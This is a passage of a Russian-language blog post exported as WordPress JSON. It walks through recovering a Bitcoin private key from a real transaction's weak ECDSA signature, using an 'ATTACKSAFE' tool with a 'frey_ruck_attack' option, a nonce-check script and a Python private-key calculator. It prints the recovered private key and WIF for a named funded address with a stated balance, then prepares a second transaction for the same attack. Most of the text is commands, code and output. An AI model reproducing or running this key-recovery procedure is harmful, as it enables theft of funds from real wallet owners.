\u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/h3>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c <a href=\"http:\/\/breakECDSA.py\" rel=\"noopener noreferrer nofollow\">breakECDSA.py<\/a><\/p>\n<pre><code>python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code>R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1 Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8<\/code><\/pre>\n<hr\/>\n<p><strong>\u0427\u0442\u043e\u0431\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435<\/strong>\u00a0<a href=\"https:\/\/attacksafe.ru\/software\/\" rel=\"noopener noreferrer nofollow\"><strong><u>\u201cATTACKSAFE SOFTWARE\u201d<\/u><\/strong><\/a><\/p>\n<figure class=\"bordered full-width\"><figcaption>www.attacksafe.ru\/software<\/figcaption><\/figure>\n<h3>\u041f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430:<\/h3>\n<pre><code>chmod +x attacksafe<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<h3>\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435:<\/h3>\n<pre><code class=\"bash\">.\/attacksafe -help<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code class=\"css\">-version:  software version -list:     list of bitcoin attacks -tool:     indicate the attack -gpu:      enable gpu -time:     work timeout -server:   server mode -port:     server port -open:     open file -save:     save file -search:   vulnerability search -stop:     stop at mode -max:      maximum quantity in mode -min:      minimum quantity per mode -speed:    boost speed for mode -range:    specific range -crack:    crack mode -field:    starting field -point:    starting point -inject:   injection regimen -decode:   decoding mode<\/code><\/pre>\n<pre><code>.\/attacksafe -version<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p><code>\"ATTACKSAFE SOFTWARE\"<\/code>\u00a0\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u0432\u0441\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d.<\/p>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u0441\u0435\u0445 \u0430\u0442\u0430\u043a:<\/h3>\n<pre><code class=\"bash\">.\/attacksafe -list<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0434\u0430\u043b\u0435\u0435 \u0432\u044b\u0431\u0435\u0440\u0435\u043c<code>\u00a0-tool: frey_ruck_attack<\/code><\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 ECDSA, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u044b\u0435\u00a0<code>RawTX<\/code>\u00a0\u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043c \u043a\u0430\u043a \u0444\u0430\u0439\u043b\u00a0<code>RawTX.txt<\/code><\/p>\n<pre><code>0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<hr\/>\n<h3>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c\u00a0-tool frey_ruck_attack\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435\u00a0\u201cATTACKSAFE SOFTWARE\u201d<\/h3>\n<hr\/>\n<pre><code class=\"bash\">.\/attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u041c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u00a0<code>-tool frey_ruck_attack<\/code>\u00a0\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b\u00a0<code>SecretKey.txt<\/code><\/p>\n<pre><code>cat SecretKey.txt<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code>Deployments ECDSA: SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3 RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000<\/code><\/pre>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c \u043d\u0430\u0434\u043f\u0438\u0441\u044c\u00a0<code>\"Deployments ECDSA\"<\/code>\u00a0\u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430<\/p>\n<p><code>SecretKey \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 HEX, \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE):<\/code><\/p>\n<p><code>K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3<\/code><\/p>\n<hr\/>\n<h3>\u0421\u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\u00a0point2gen.py<\/h3>\n<hr\/>\n<p>\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u0440\u0438\u0432\u044b\u0445\u00a0<a href=\"https:\/\/pypi.org\/project\/ECPy\/\" rel=\"noopener noreferrer nofollow\"><strong><u>ECPy<\/u><\/strong><\/a>:<\/p>\n<pre><code>pip3 install ECPy<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0443\u043a\u0430\u0437\u0430\u0432<code>\u00a0\u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \"K\" (NONCE)<\/code>:<\/p>\n<pre><code>python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p><code>(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)<\/code><\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u0442\u043e\u0447\u043a\u0438\u00a0<code>EC (secp256k1)\u00a0<\/code>\u0441 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b\u00a0<code>R<\/code><\/p>\n<pre><code>R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1 Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8<\/code><\/pre>\n<hr\/>\n<pre><code>R          =    0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff point2gen  =   (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7) <\/code><\/pre>\n<p><code>\u0412\u0421\u0415 \u0412\u0415\u0420\u041d\u041e!<\/code><\/p>\n<p><code>K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u043d\u0430\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443:\u00a0<code>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/code><\/p>\n<hr\/>\n<h3>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f\u00a0Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c:\u00a0calculate.py\u00a0> > > \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u041a\u043b\u044e\u0447<\/h3>\n<hr\/>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043a\u043e\u0434 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0432\u0441\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u00a0<code>K, R, S, Z<\/code><\/p>\n<pre><code class=\"python\">def h(n): return hex(n).replace(\"0x\",\"\") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotientx, x y, lasty = lasty - quotienty, y return lastremainder, lastx * (-1 if aa &lt; 0 else 1), lasty * (-1 if bb &lt; 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3 R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1 Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8 print (h((((S * K) - Z) * modinv(R,N)) % N))<\/code><\/pre>\n<h3>\u0421\u043a\u0440\u0438\u043f\u0442 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043f\u043e \u0444\u043e\u0440\u043c\u0443\u043b\u0435:<\/h3>\n<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)<\/code><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442:<\/p>\n<pre><code>python3 calculate.py<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p><code>PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766<\/code><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c\u00a0<a href=\"https:\/\/cryptodeep.ru\/bitaddress.html\" rel=\"noopener noreferrer nofollow\"><strong><u>bitaddress<\/u><\/strong><\/a>\u00a0\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c:<\/p>\n<pre><code class=\"css\">ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766<\/code><\/pre>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<hr\/>\n<p><a href=\"https:\/\/www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<hr\/>\n<p><code>\u041f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430\u0439\u0434\u0435\u043d!<\/code><\/p>\n<figure class=\"full-width\"><figcaption>www.blockchain.com\/btc\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/figcaption><\/figure>\n<p><code>BALANCE: $ 711.37<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u043e\u0442\u0435\u0440\u0438 \u043c\u043e\u043d\u0435\u0442 BTC \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438 \u0431\u043b\u043e\u043a\u0447\u0435\u0439\u043d\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u0432\u0441\u0435\u043c \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u041f\u041e \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<p>\u041f\u0440\u0438 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0432<code>\u00a0TXID:<\/code><a href=\"https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128\" rel=\"noopener noreferrer nofollow\"><u>\u00a0<\/u><strong><u>81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128<\/u><\/strong><\/a>\u00a0\u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0436\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430<\/p>\n<hr\/>\n<h3>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043c RawTX \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438<\/h3>\n<hr\/>\n<blockquote>\n<p><a href=\"https:\/\/btc.exan.tech\/address\/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG\" rel=\"noopener noreferrer nofollow\"><strong><u>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG<\/u><\/strong><\/a><\/p>\n<p><a href=\"https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/btc.exan.tech\/tx\/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128<\/u><\/a><\/p>\n<\/blockquote>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<pre><code>RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000 <\/code><\/pre>\n<h3>\u0422<\/h><\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-340131","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/340131","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=340131"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/340131\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=340131"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=340131"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=340131"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}